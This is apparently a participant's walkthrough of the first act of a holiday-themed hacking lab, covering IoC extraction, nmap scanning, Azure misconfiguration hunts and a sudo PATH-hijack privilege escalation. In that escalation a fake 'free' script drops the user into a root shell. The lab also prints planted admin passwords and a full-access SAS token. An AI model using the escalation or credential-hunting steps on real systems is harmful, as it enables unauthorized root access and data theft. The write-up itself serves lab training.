ACT I
Info
The Counter Hack crew is in the Neighborhood festively preparing for the holidays when they are suddenly overrun by lively Gnomes in Your Home! There must have been some magic in those Gnomes, because, due to some unseen spark, some haunting hocus pocus, they have come to life and are now scurrying around the Neighborhood.
Holiday Hack Orientation
Meet Lynn Schifano on the train for a warm welcome and get ready for your journey around the Dosis Neighborhood.
The first challenge is intentionally easy and just requires me to write answer into the top pane. This unlocks all the other objectives.

Its All About Defang
Find Ed Skoudis upstairs in City Hall and help him troubleshoot a clever phishing tool in his cozy office.
In this challenge I’m placed into a SOC and have to extract indicators of compromise (IoCs) from a phishing email. Based on four regex I’m tasked to extract domains, IPs, URLs, and email addresses.

I use the following regex to extract the required IoCs and then remove all the matches for our own domain and email addresses, anything containing dosisneighborhood.corp as well as our own trusted IP 10.0.0.5.
- Domain:
(?:[a-zA-Z0-9]+\.)+[a-z]+ - IP
(?:\d{1,3}\.){3}\d{1,3} - URLs
(?:https?|ftp)://[^\s]+ - Email Addresses
[a-zA-Z0-9-]+@[a-zA-Z0-9-.]+
Then I need to defang everything all with s/\./[.]/g; s/@/[@]/g; s/http/hxxp/g; s/:\//[://]/g and submit the report.

Neighborhood Watch Bypass
Assist Kyle at the old data center with a fire alarm that just won’t chill.

In order to restore control over the compromised fire alarm system, I have to escalate my privileges on this host and then run /etc/firealarm/restore_fire_alarm. Currently I’m placed into a terminal as chiuser.
$ sudo -l
Matching Defaults entries for chiuser on 2c7dbb42a1a2:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty,
secure_path=/home/chiuser/bin\:/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+="API_ENDPOINT API_PORT RESOURCE_ID HHCUSERNAME", env_keep+=PATH
User chiuser may run the following commands on 2c7dbb42a1a2:
(root) NOPASSWD: /usr/local/bin/system_status.shRunning sudo -l on the host to list all the commands I might be able to run as other users, shows I can run /usr/local/bin/system_status.sh as root without providing a password. Additionally the environment variable PATH is kept and the secure_path is set to include /home/chiuser/bin as the very first folder to check for commands.
Since the script to call is readable, I can inspect it for escalation vectors. It does run a few commands without specifying the full path to those binaries. This means I can just place my own one into ~/bin and due to the precedence in the PATH variable it will be called first.
#!/bin/bash
echo "=== Dosis Neighborhood Fire Alarm System Status ==="
echo "Fire alarm system monitoring active..."
echo ""
echo "System resources (for alarm monitoring):"
free -h
echo -e "\nDisk usage (alarm logs and recordings):"
df -h
echo -e "\nActive fire department connections:"
w
echo -e "\nFire alarm monitoring processes:"
ps aux | grep -E "(alarm|fire|monitor|safety)" | head -5 || echo "No active fire monitoring processes detected"
echo ""
echo "🔥 Fire Safety Status: All systems operational"
echo "🚨 Emergency Response: Ready"
echo "📍 Coverage Area: Dosis Neighborhood (all sectors)"Therefore I place a Bash script called free into ~/bin that just executes another Bash, make it executable with chmod and then run the system_status.sh script with sudo. This calls my custom free and drops me into a root shell.
$ cat << EOF > ~/bin/free
#!/bin/bash
/bin/bash
EOF
$ chmod +x ~/bin/free
$ sudo /usr/local/bin/system_status.sh
=== Dosis Neighborhood Fire Alarm System Status ===
Fire alarm system monitoring active...
System resources (for alarm monitoring):
root@9a0ecfe0d726:/home/chiuser#After escalating my privileges I can run /etc/firealarm/restore_fire_alarm to regain control and fulfill the objective.

Santa’s Gift-Tracking Service Port Mystery
Chat with Yori near the apartment building about Santa’s mysterious gift tracker and unravel the holiday mystery.

The goal is to find the port where the santa_tracker is running on. It already gives me the instructions to use ss to find the port and then connect to it. Doing so returns just a single port, 12321, and I can use curl to interact with it. This returns the current location and status of Santa.
$ ss -tulpn
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
tcp LISTEN 0 5 0.0.0.0:12321 0.0.0.0:*
$ curl http://127.0.0.1:12321
{
"status": "success",
"message": "\ud83c\udf84 Ho Ho Ho! Santa Tracker Successfully Connected! \ud83c\udf84",
"santa_tracking_data": {
"timestamp": "2025-12-19 15:47:42",
"location": {
"name": "Reindeer Ridge",
"latitude": 64.447325,
"longitude": -127.385315
},
"movement": {
"speed": "1045 mph",
"altitude": "17130 feet",
"heading": "320\u00b0 E"
},
"delivery_stats": {
"gifts_delivered": 6298314,
"cookies_eaten": 30459,
"milk_consumed": "2439 gallons",
"last_stop": "Reindeer Ridge",
"next_stop": "Frosty's Passage",
"time_to_next_stop": "9 minutes"
},
"reindeer_status": {
"rudolph_nose_brightness": "97%",
"favorite_reindeer_joke": "How does Rudolph know when Christmas is coming? He looks at his calen-deer!",
"reindeer_snack_preference": "festive hay bales"
},
"weather_conditions": {
"temperature": "12\u00b0F",
"condition": "Candy cane precipitation"
},
"special_note": "Thanks to your help finding the correct port, the neighborhood can now track Santa's arrival! The mischievous gnomes will be caught and will be put to work wrapping presents."
}Visual Networking Thinger
Skate over to Jared at the frozen pond for some network magic and learn the ropes by the hockey rink.
For this objective I have to build valid network communications between a client and the server. Most of the available options consist out of multiple choice values.

First I have to build a valid DNS request for the IPv4 address of visual-networking.holidayhackchallenge.com. DNS usually uses port 53 and in order to look up the IPv4 I have to choose request type A and provide the domain name. The response consists out of the chosen type and the IP.

The second challenge requires me to build a 3-way handshake between a client and the web server and provides me with different TCP flags to use.

For the handshake, the client starts with SYN that’s followed by SYN,ACK from the web server upon successful connection and then this packet is acknowledged by the client with ACK.

The third challenge builds on the previously established TCP connection and wants me to build a HTTP GET request.

For the HTTP verb I obviously have to choose GET and provide the hostname from the first challenge. The chosen version and the value for the user-agent do not matter here. The web server responds with 302 and redirects to HTTPS.

Now with the upgrade to HTTPS the client has to perform a TLS handshake.

This starts by sending a Client Hello that gets answered from the server with Server Hello and the Certificate. If the client accepts the provided certificate it sends a list of ciphers and a premaster secret, encrypted with the public key from the certificate, in the Client Key Exchange. To finalize the handshake the server responds with Server Change Cipher Spec and Finished.

With an established TLS connection, I have to perform another GET request.

Here I can chose the exact values as for the previous GET request. This time the server responds with 200 and the contents of the page.

Visual Firewall Thinger
Find Elgee in the big hotel for a firewall frolic and some techy fun.
In the network diagram I move from left to right and enable the services listed under Goals by checking the corresponding check boxes.

Intro to Nmap
Meet Eric in the hotel parking lot for Nmap know-how and scanning secrets. Help him connect to the wardriving rig on his motorcycle!
Todo
1) When run without any options, nmap performs a TCP port scan of the top 1000 ports. Run a default nmap scan of 127.0.12.25 and see which port is open.
$ nmap --top-ports 10000 127.0.12.25
Starting Nmap 7.80 ( https://nmap.org ) at 2025-12-19 16:52 UTC
Nmap scan report for 127.0.12.25
Host is up (0.000082s latency).
Not shown: 8319 closed ports
PORT STATE SERVICE
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 0.29 secondsTodo
2) Sometimes the top 1000 ports are not enough. Run an nmap scan of all TCP ports on 127.0.12.25 and see which port is open.
$ nmap -p 0-65535 127.0.12.25
Starting Nmap 7.80 ( https://nmap.org ) at 2025-12-19 16:54 UTC
Nmap scan report for 127.0.12.25
Host is up (0.000059s latency).
Not shown: 65535 closed ports
PORT STATE SERVICE
24601/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 1.72 secondsTodo
3) Nmap can also scan a range of IP addresses. Scan the range 127.0.12.20 - 127.0.12.28 and see which has a port open.
$ nmap -p 0-65535 127.0.12.20-28
Starting Nmap 7.80 ( https://nmap.org ) at 2025-12-19 16:59 UTC
Nmap scan report for 127.0.12.20
Host is up (0.00024s latency).
All 65536 scanned ports on 127.0.12.20 are closed
Nmap scan report for 127.0.12.21
Host is up (0.00028s latency).
All 65536 scanned ports on 127.0.12.21 are closed
Nmap scan report for 127.0.12.22
Host is up (0.000089s latency).
All 65536 scanned ports on 127.0.12.22 are closed
Nmap scan report for 127.0.12.22
Host is up (0.00028s latency).
All 65536 scanned ports on 127.0.12.22 are closed
Nmap scan report for 127.0.12.23
Host is up (0.00028s latency).
Not shown: 65535 closed ports
PORT STATE SERVICE
8080/tcp open http-proxy
Nmap scan report for 127.0.12.24
Host is up (0.00013s latency).
All 65536 scanned ports on 127.0.12.24 are closed
Nmap scan report for 127.0.12.25
Host is up (0.000089s latency).
All 65536 scanned ports on 127.0.12.25 are closed
Nmap scan report for 127.0.12.26
Host is up (0.00014s latency).
All 65536 scanned ports on 127.0.12.26 are closed
Nmap scan report for 127.0.12.27
Host is up (0.00019s latency).
All 65536 scanned ports on 127.0.12.27 are closed
Nmap scan report for 127.0.12.28
Host is up (0.00018s latency).
All 65536 scanned ports on 127.0.12.28 are closed
Nmap done: 9 IP addresses (9 hosts up) scanned in 15.62 secondsTodo
4) Nmap has a version detection engine, to help determine what services are running on a given port. What service is running on 127.0.12.25 TCP port 8080?
$ nmap -p 8080 -sV 127.0.12.25
Starting Nmap 7.80 ( https://nmap.org ) at 2025-12-19 16:57 UTC
Nmap scan report for 127.0.12.25
Host is up (0.000072s latency).
PORT STATE SERVICE VERSION
8080/tcp open http SimpleHTTPServer 0.6 (Python 3.10.12)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.63 secondsTodo
5) Sometimes you just want to interact with a port, which is a perfect job for Ncat! Use the ncat tool to connect to TCP port 24601 on 127.0.12.25 and view the banner returned.
$ ncat 127.0.12.25 24601
Welcome to the WarDriver 9000!
TerminatedBlob Storage Challenge in the Neighborhood
Help the Goose Grace near the pond find which Azure Storage account has been misconfigured to allow public blob access by analyzing the export file.

Todo
You may not know this but the Azure cli help messages are very easy to access. First, try typing:
$ az help | less
$ az help | less
--- SNIP ---Todo
Next, you’ve already been configured with credentials. 🔑
$ az account show | less
- Pipe the output to
| lessso you can scroll.- Press
'q'to exit less.
$ az account show | less
{
"environmentName": "AzureCloud",
"id": "2b0942f3-9bca-484b-a508-abdae2db5e64",
"isDefault": true,
"name": "theneighborhood-sub",
"state": "Enabled",
"tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
"user": {
"name": "theneighborhood@theneighborhood.invalid",
"type": "user"
}
}Todo
Now that you’ve run a few commands, Let’s take a look at some Azure storage accounts. Try:
az storage account list | lessFor more information: https://learn.microsoft.com/en-us/cli/azure/storage/account?view=azure-cli-latest
$ az storage account list | less
[
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/theneighborhood-rg1/providers/Microsoft.Storage/storageAccounts/neighborhood1",
"kind": "StorageV2",
"location": "eastus",
"name": "neighborhood1",
"properties": {
"accessTier": "Hot",
"allowBlobPublicAccess": false,
"encryption": {
"keySource": "Microsoft.Storage",
"services": {
"blob": {
"enabled": true
}
}
},
"minimumTlsVersion": "TLS1_2"
},
"resourceGroup": "theneighborhood-rg1",
"sku": {
"name": "Standard_LRS"
},
"tags": {
"env": "dev"
}
},
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/theneighborhood-rg1/providers/Microsoft.Storage/storageAccounts/neighborhood2",
"kind": "StorageV2",
"location": "eastus2",
"name": "neighborhood2",
"properties": {
"accessTier": "Cool",
"allowBlobPublicAccess": true,
"encryption": {
"keySource": "Microsoft.Storage",
"services": {
"blob": {
"enabled": false
}
}
},
"minimumTlsVersion": "TLS1_0"
},
"resourceGroup": "theneighborhood-rg1",
"sku": {
"name": "Standard_GRS"
},
"tags": {
"owner": "Admin"
}
},
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/theneighborhood-rg2/providers/Microsoft.Storage/storageAccounts/neighborhood3",
"kind": "BlobStorage",
"location": "westus",
"name": "neighborhood3",
"properties": {
"accessTier": "Hot",
"allowBlobPublicAccess": false,
"encryption": {
"keySource": "Microsoft.Keyvault",
"services": {
"blob": {
"enabled": true
}
}
},
"minimumTlsVersion": "TLS1_2"
},
"resourceGroup": "theneighborhood-rg2",
"sku": {
"name": "Standard_RAGRS"
},
"tags": {
"department": "NeighborhoodWatch"
}
},
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/theneighborhood-rg2/providers/Microsoft.Storage/storageAccounts/neighborhood4",
"kind": "StorageV2",
"location": "westus2",
"name": "neighborhood4",
"properties": {
"accessTier": "Hot",
"allowBlobPublicAccess": false,
"minimumTlsVersion": "TLS1_2",
"networkAcls": {
"bypass": "AzureServices",
"virtualNetworkRules": []
}
},
"resourceGroup": "theneighborhood-rg2",
"sku": {
"name": "Premium_LRS"
},
"tags": {
"critical": "true"
}
},
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/theneighborhood-rg1/providers/Microsoft.Storage/storageAccounts/neighborhood5",
"kind": "StorageV2",
"location": "eastus",
"name": "neighborhood5",
"properties": {
"accessTier": "Cool",
"allowBlobPublicAccess": false,
"isHnsEnabled": true,
"minimumTlsVersion": "TLS1_2"
},
"resourceGroup": "theneighborhood-rg1",
"sku": {
"name": "Standard_LRS"
},
"tags": {
"project": "Homes"
}
},
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/theneighborhood-rg2/providers/Microsoft.Storage/storageAccounts/neighborhood6",
"kind": "StorageV2",
"location": "centralus",
"name": "neighborhood6",
"properties": {
"accessTier": "Hot",
"allowBlobPublicAccess": false,
"minimumTlsVersion": "TLS1_2",
"tags": {
"replicate": "true"
}
},
"resourceGroup": "theneighborhood-rg2",
"sku": {
"name": "Standard_ZRS"
},
"tags": {}
}
]Todo
hmm… one of these looks suspicious 🚨, i think there may be a misconfiguration here somewhere. Try showing the account that has a common misconfiguration:
az storage account show --name xxxxxxxxxx | less
From the previous output I know the account neighborhood2 is set to public access.
$ az storage account show --name neighborhood2 | less
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/theneighborhood-rg1/providers/Microsoft.Storage/storageAccounts/neighborhood2",
"name": "neighborhood2",
"location": "eastus2",
"kind": "StorageV2",
"sku": {
"name": "Standard_GRS"
},
"properties": {
"accessTier": "Cool",
"allowBlobPublicAccess": true,
"minimumTlsVersion": "TLS1_0",
"encryption": {
"services": {
"blob": {
"enabled": false
}
},
"keySource": "Microsoft.Storage"
}
},
"resourceGroup": "theneighborhood-rg1",
"tags": {
"owner": "Admin"
}
}Todo
Now we need to list containers in
neighborhood2. After running the command what’s interesting in the list? For more information: https://learn.microsoft.com/en-us/cli/azure/storage/container?view=azure-cli-latest#az-storage-container-list
$ az storage container list --account-name neighborhood2 | less
[
{
"name": "public",
"properties": {
"lastModified": "2024-01-15T09:00:00Z",
"publicAccess": "Blob"
}
},
{
"name": "private",
"properties": {
"lastModified": "2024-02-05T11:12:00Z",
"publicAccess": null
}
}
]Todo
Let’s take a look at the blob list in the public container for
neighborhood2. For more information: https://learn.microsoft.com/en-us/cli/azure/storage/blob?view=azure-cli-latest#az-storage-blob-list
$ az storage blob list --account-name neighborhood2 \
--container-name public \
| less
[
{
"name": "refrigerator_inventory.pdf",
"properties": {
"contentLength": 45678,
"contentType": "application/pdf",
"metadata": {
"created_by": "NeighborhoodWatch",
"document_type": "inventory",
"last_updated": "2024-12-15"
}
}
},
{
"name": "admin_credentials.txt",
"properties": {
"contentLength": 1024,
"contentType": "text/plain",
"metadata": {
"note": "admins only"
}
}
},
{
"name": "network_config.json",
"properties": {
"contentLength": 2048,
"contentType": "application/json",
"metadata": {
"encrypted": "false",
"environment": "prod"
}
}
}
]
Todo
Try downloading and viewing the blob file named
admin_credentials.txtfrom the public container. 💡 hint:--file /dev/stdoutshould print in the terminal. Dont forget to use| less!
$ az storage blob download --account-name neighborhood2 \
--container-name public \
--name admin_credentials.txt \
--file /dev/stdout \
| less
# You have discovered an Azure Storage account with "allowBlobPublicAccess": true.
# This misconfiguration allows ANYONE on the internet to view and download files
# from the blob container without authentication.
# Public blob access is highly insecure when sensitive data (like admin credentials)
# is stored in these containers. Always disable public access unless absolutely required.
Azure Portal Credentials
User: azureadmin
Pass: AzUR3!P@ssw0rd#2025
Windows Server Credentials
User: administrator
Pass: W1nD0ws$Srv!@42
SQL Server Credentials
User: sa
Pass: SqL!P@55#2025$
Active Directory Domain Admin
User: corp\administrator
Pass: D0m@in#Adm!n$765
Exchange Admin Credentials
User: exchangeadmin
Pass: Exch@ng3!M@il#432
VMware vSphere Credentials
User: vsphereadmin
Pass: VMW@r3#Clu$ter!99
Network Switch Credentials
User: netadmin
Pass: N3t!Sw!tch$C0nfig#
Firewall Admin Credentials
User: fwadmin
Pass: F1r3W@ll#S3cur3!77
Backup Server Credentials
User: backupadmin
Pass: B@ckUp!Srv#2025$
Monitoring System Admin
User: monitoradmin
Pass: M0n!t0r#Sys$P@ss!
SharePoint Admin Credentials
User: spadmin
Pass: Sh@r3P0!nt#Adm!n2025
Git Server Admin
User: gitadmin
Pass: G1t#Srv!Rep0$C0deTodo
🎊 Great, you found the misconfiguration allowing public access to sensitive information!
✅ Challenge Complete! To finish, type:
finish
$ finish
Completing challenge...Spare Key
Help Goose Barry near the pond identify which identity has been granted excessive Owner permissions at the subscription level, violating the principle of least privilege.

Todo
Let’s start by listing all resource groups
$ az group list -o tableThis will show all resource groups in a readable table format.
$ az group list -o table
Name Location ProvisioningState
------------------- ---------- -------------------
rg-the-neighborhood eastus Succeeded
rg-hoa-maintenance eastus Succeeded
rg-hoa-clubhouse eastus Succeeded
rg-hoa-security eastus Succeeded
rg-hoa-landscaping eastus SucceededTodo
Now let’s find storage accounts in the neighborhood resource group 📦
$ az storage account list --resource-group rg-the-neighborhood -o tableThis shows what storage accounts exist and their types.
$ az storage account list --resource-group rg-the-neighborhood -o table
Name Kind Location ResourceGroup ProvisioningState
--------------- ----------- ---------- ------------------- -------------------
neighborhoodhoa StorageV2 eastus rg-the-neighborhood Succeeded
hoamaintenance StorageV2 eastus rg-hoa-maintenance Succeeded
hoaclubhouse StorageV2 eastus rg-hoa-clubhouse Succeeded
hoasecurity BlobStorage eastus rg-hoa-security Succeeded
hoalandscaping StorageV2 eastus rg-hoa-landscaping SucceededTodo
Someone mentioned there was a website in here. maybe a static website? try:
$ az storage blob service-properties show --account-name <insert_account_name> --auth-mode login
$ az storage blob service-properties show --account-name neighborhoodhoa --auth-mode login
{
"enabled": true,
"errorDocument404Path": "404.html",
"indexDocument": "index.html"
}Todo
Let’s see what 📦 containers exist in the storage account 💡 Hint: You will need to use
az storage container listWe want to list the container and its public access levels.
$ az storage container list --account-name neighborhoodhoa \
--auth-mode login
[
{
"name": "$web",
"properties": {
"lastModified": "2025-09-20T10:30:00Z",
"publicAccess": null
}
},
{
"name": "public",
"properties": {
"lastModified": "2025-09-15T14:20:00Z",
"publicAccess": "Blob"
}
}
]Todo
Examine what files are in the static website container 💡 hint: when using
--container-name you might need '<name>'Look 👀 for any files that shouldn’t be publicly accessible!
$ az storage blob list --account-name neighborhoodhoa \
--container-name '$web' \
--auth-mode login
[
{
"name": "index.html",
"properties": {
"contentLength": 512,
"contentType": "text/html",
"metadata": {
"source": "hoa-website"
}
}
},
{
"name": "about.html",
"properties": {
"contentLength": 384,
"contentType": "text/html",
"metadata": {
"source": "hoa-website"
}
}
},
{
"name": "iac/terraform.tfvars",
"properties": {
"contentLength": 1024,
"contentType": "text/plain",
"metadata": {
"WARNING": "LEAKED_SECRETS"
}
}
}
]Todo
Take a look at the files here, what stands out? Try examining a suspect file 🕵️: 💡 hint:
--file /dev/stdout | lesswill print to your terminal 💻.
$ az storage blob download --account-name neighborhoodhoa \
--container-name '$web' \
--name 'iac/terraform.tfvars' \
--auth-mode login \
--file /dev/stdout \
| less
# Terraform Variables for HOA Website Deployment
# Application: Neighborhood HOA Service Request Portal
# Environment: Production
# Last Updated: 2025-09-20
# DO NOT COMMIT TO PUBLIC REPOS
# === Application Configuration ===
app_name = "hoa-service-portal"
app_version = "2.1.4"
environment = "production"
# === Database Configuration ===
database_server = "sql-neighborhoodhoa.database.windows.net"
database_name = "hoa_requests"
database_username = "hoa_app_user"
# Using Key Vault reference for security
database_password_vault_ref = "@Microsoft.KeyVault(SecretUri=https://kv-neighborhoodhoa-prod.vault.azure.net/secrets/db-password/)"
# === Storage Configuration for File Uploads ===
storage_account = "neighborhoodhoa"
uploads_container = "resident-uploads"
documents_container = "hoa-documents"
# TEMPORARY: Direct storage access for migration script
# WARNING: Remove after data migration to new storage account
# This SAS token provides full access - HIGHLY SENSITIVE!
migration_sas_token = "sv=2023-11-03&ss=b&srt=co&sp=rlacwdx&se=2100-01-01T00:00:00Z&spr=https&sig=1djO1Q%2Bv0wIh7mYi3n%2F7r1d%2F9u9H%2F5%2BQxw8o2i9QMQc%3D"
# === Email Service Configuration ===
# Using Key Vault for sensitive email credentials
sendgrid_api_key_vault_ref = "@Microsoft.KeyVault(SecretUri=https://kv-neighborhoodhoa-prod.vault.azure.net/secrets/sendgrid-key/)"
from_email = "noreply@theneighborhood.com"
admin_email = "admin@theneighborhood.com"
# === Application Settings ===
session_timeout_minutes = 60
max_file_upload_mb = 10
allowed_file_types = ["pdf", "jpg", "jpeg", "png", "doc", "docx"]
# === Feature Flags ===
enable_online_payments = true
enable_maintenance_requests = true
enable_document_portal = false
enable_resident_directory = true
# === API Keys (Key Vault References) ===
maps_api_key_vault_ref = "@Microsoft.KeyVault(SecretUri=https://kv-neighborhoodhoa-prod.vault.azure.net/secrets/maps-api-key/)"
weather_api_key_vault_ref = "@Microsoft.KeyVault(SecretUri=https://kv-neighborhoodhoa-prod.vault.azure.net/secrets/weather-api-key/)"
# === Notification Settings (Key Vault References) ===
sms_service_vault_ref = "@Microsoft.KeyVault(SecretUri=https://kv-neighborhoodhoa-prod.vault.azure.net/secrets/sms-credentials/)"
notification_webhook_vault_ref = "@Microsoft.KeyVault(SecretUri=https://kv-neighborhoodhoa-prod.vault.azure.net/secrets/slack-webhook/)"
# === Deployment Configuration ===
deploy_static_files_to_cdn = true
cdn_profile = "hoa-cdn-prod"
cache_duration_hours = 24
# Backup schedule
backup_frequency = "daily"
backup_retention_days = 30Todo
You found the leak! A migration_sas_token within
/iac/terraform.tfvarsexposed a long-lived SAS token (expires 2100-01-01) 🔑 ⚠️ Accidentally uploading config files to$webcan leak secrets. 🔐Challenge Complete! To finish, type:
finish
$ finish
Completing challenge...The Open Door
Help Goose Lucas in the hotel parking lot find the dangerously misconfigured Network Security Group rule that’s allowing unrestricted internet access to sensitive ports like RDP or SSH.

Todo
Welcome back! Let’s start by exploring output formats. First, let’s see resource groups in
JSON format(the default):$ az group listJSON format shows detailed structured data.
$ az group list
[
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/theneighborhood-rg1",
"location": "eastus",
"managedBy": null,
"name": "theneighborhood-rg1",
"properties": {
"provisioningState": "Succeeded"
},
"tags": {}
},
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/theneighborhood-rg2",
"location": "westus",
"managedBy": null,
"name": "theneighborhood-rg2",
"properties": {
"provisioningState": "Succeeded"
},
"tags": {}
}
]Todo
Great! Now let’s see the same data in
table formatfor better readability 👀$ az group list -o tableNotice how-o tablechanges the output format completely! Both commands show the same data, just formatted differently.
$ az group list -o table
Name Location ProvisioningState
------------------- ---------- -------------------
theneighborhood-rg1 eastus Succeeded
theneighborhood-rg2 westus SucceededTodo
Lets take a look at Network Security Groups (NSGs). To do this try:
az network nsg list -o tableThis lists all NSGs across resource groups. For more information: https://learn.microsoft.com/en-us/cli/azure/network/nsg?view=azure-cli-latest
$ az network nsg list -o table
Location Name ResourceGroup
---------- --------------------- -------------------
eastus nsg-web-eastus theneighborhood-rg1
eastus nsg-db-eastus theneighborhood-rg1
eastus nsg-dev-eastus theneighborhood-rg2
eastus nsg-mgmt-eastus theneighborhood-rg2
eastus nsg-production-eastus theneighborhood-rg1Todo
Inspect the Network Security Group (web) 🕵️ Here is the NSG and its resource group:
--name nsg-web-eastus --resource-group theneighborhood-rg1Hint: We want to
showthe NSG details. Use| lessto page through the output. Documentation: https://learn.microsoft.com/en-us/cli/azure/network/nsg?view=azure-cli-latest#az-network-nsg-show
$ az network nsg show --name nsg-web-eastus \
--resource-group theneighborhood-rg1 \
| less
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/theneighborhood-rg1/providers/Microsoft.Network/networkSecurityGroups/nsg-web-eastus",
"location": "eastus",
"name": "nsg-web-eastus",
"properties": {
"securityRules": [
{
"name": "Allow-HTTP-Inbound",
"properties": {
"access": "Allow",
"destinationPortRange": "80",
"direction": "Inbound",
"priority": 100,
"protocol": "Tcp",
"sourceAddressPrefix": "0.0.0.0/0"
}
},
{
"name": "Allow-HTTPS-Inbound",
"properties": {
"access": "Allow",
"destinationPortRange": "443",
"direction": "Inbound",
"priority": 110,
"protocol": "Tcp",
"sourceAddressPrefix": "0.0.0.0/0"
}
},
{
"name": "Allow-AppGateway-HealthProbes",
"properties": {
"access": "Allow",
"destinationPortRange": "80,443",
"direction": "Inbound",
"priority": 130,
"protocol": "Tcp",
"sourceAddressPrefix": "AzureLoadBalancer"
}
},
{
"name": "Allow-Web-To-App",
"properties": {
"access": "Allow",
"destinationPortRange": "8080,8443",
"direction": "Inbound",
"priority": 200,
"protocol": "Tcp",
"sourceAddressPrefix": "VirtualNetwork"
}
},
{
"name": "Deny-All-Inbound",
"properties": {
"access": "Deny",
"destinationPortRange": "*",
"direction": "Inbound",
"priority": 4096,
"protocol": "*",
"sourceAddressPrefix": "*"
}
}
]
},
"resourceGroup": "theneighborhood-rg1",
"tags": {
"env": "web"
}
}Todo
Inspect the Network Security Group (mgmt) 🕵️ Here is the NSG and its resource group:
--nsg-name nsg-mgmt-eastus --resource-group theneighborhood-rg2Hint: We want to
listthe NSG rules Documentation: https://learn.microsoft.com/en-us/cli/azure/network/nsg/rule?view=azure-cli-latest#az-network-nsg-rule-list
$ az network nsg rule list --nsg-name nsg-mgmt-eastus \
--resource-group theneighborhood-rg2 \
| less
[
{
"name": "Allow-AzureBastion",
"nsg": "nsg-mgmt-eastus",
"properties": {
"access": "Allow",
"destinationPortRange": "443",
"direction": "Inbound",
"priority": 100,
"protocol": "Tcp",
"sourceAddressPrefix": "AzureBastion"
}
},
{
"name": "Allow-Monitoring-Inbound",
"nsg": "nsg-mgmt-eastus",
"properties": {
"access": "Allow",
"destinationPortRange": "443",
"direction": "Inbound",
"priority": 110,
"protocol": "Tcp",
"sourceAddressPrefix": "AzureMonitor"
}
},
{
"name": "Allow-DNS-From-VNet",
"nsg": "nsg-mgmt-eastus",
"properties": {
"access": "Allow",
"destinationPortRange": "53",
"direction": "Inbound",
"priority": 115,
"protocol": "Udp",
"sourceAddressPrefix": "VirtualNetwork"
}
},
{
"name": "Deny-All-Inbound",
"nsg": "nsg-mgmt-eastus",
"properties": {
"access": "Deny",
"destinationPortRange": "*",
"direction": "Inbound",
"priority": 4096,
"protocol": "*",
"sourceAddressPrefix": "*"
}
},
{
"name": "Allow-Monitoring-Outbound",
"nsg": "nsg-mgmt-eastus",
"properties": {
"access": "Allow",
"destinationAddressPrefix": "AzureMonitor",
"destinationPortRange": "443",
"direction": "Outbound",
"priority": 200,
"protocol": "Tcp"
}
},
{
"name": "Allow-AD-Identity-Outbound",
"nsg": "nsg-mgmt-eastus",
"properties": {
"access": "Allow",
"destinationAddressPrefix": "AzureActiveDirectory",
"destinationPortRange": "443",
"direction": "Outbound",
"priority": 210,
"protocol": "Tcp"
}
},
{
"name": "Allow-Backup-Outbound",
"nsg": "nsg-mgmt-eastus",
"properties": {
"access": "Allow",
"destinationAddressPrefix": "AzureBackup",
"destinationPortRange": "443",
"direction": "Outbound",
"priority": 220,
"protocol": "Tcp"
}
}
]Todo
Take a look at the rest of the NSG rules and examine their properties. After enumerating the NSG rules, enter the command string to view the
suspect ruleand inspect its properties. Hint:Reviewfields such asdirection, access, protocol, source, destination and portsettings.Documentation: https://learn.microsoft.com/en-us/cli/azure/network/nsg/rule?view=azure-cli-latest#az-network-nsg-rule-show
In order to solve this task, I enumerate all resource groups and list their NSG rules. Within theneighborhood-rg1 I find a rule allowing public RDP access.
$ az network nsg rule list --nsg-name nsg-production-eastus \
--resource-group theneighborhood-rg1 \
-o table
Access Direction Name Priority Protocol NSG SourceAddressPrefix SourcePortRange DestinationAddressPrefix DestinationPortRange
-------- ----------- ----------------------------- ---------- ---------- --------------------- --------------------- ----------------- -------------------------- ----------------------
Allow Inbound Allow-HTTP-Inbound 100 Tcp nsg-production-eastus 0.0.0.0/0 * * 80
Allow Inbound Allow-HTTPS-Inbound 110 Tcp nsg-production-eastus 0.0.0.0/0 * * 443
Allow Inbound Allow-AppGateway-HealthProbes 115 Tcp nsg-production-eastus AzureLoadBalancer * * 80,443
Allow Inbound Allow-RDP-From-Internet 120 Tcp nsg-production-eastus 0.0.0.0/0 * * 3389
Deny Inbound Deny-All-Inbound 4096 * nsg-production-eastus * * * *
$ az network nsg rule show --nsg-name nsg-production-eastus \
--resource-group theneighborhood-rg1 \
--name Allow-RDP-From-Internet
{
"name": "Allow-RDP-From-Internet",
"properties": {
"access": "Allow",
"destinationPortRange": "3389",
"direction": "Inbound",
"priority": 120,
"protocol": "Tcp",
"sourceAddressPrefix": "0.0.0.0/0"
}
}Todo
Great, you found the NSG misconfiguration allowing RDP
(port 3389)from the public internet! Port 3389 is used by Remote Desktop Protocol — exposing it broadly allows attackers to brute-force credentials, exploit RDP vulnerabilities, and pivot within the network.✨ To finish, type:
finish
$ finish
Completing challenge...Owner
Help Goose James near the park discover the accidentally leaked SAS token in a public JavaScript file and determine what Azure Storage resource it exposes and what permissions it grants.

Todo
Let’s learn some more Azure CLI, the —query parameter with JMESPath syntax!
$ az account list --query "[].name"Here,[]loops through each item,.namegrabs the name field
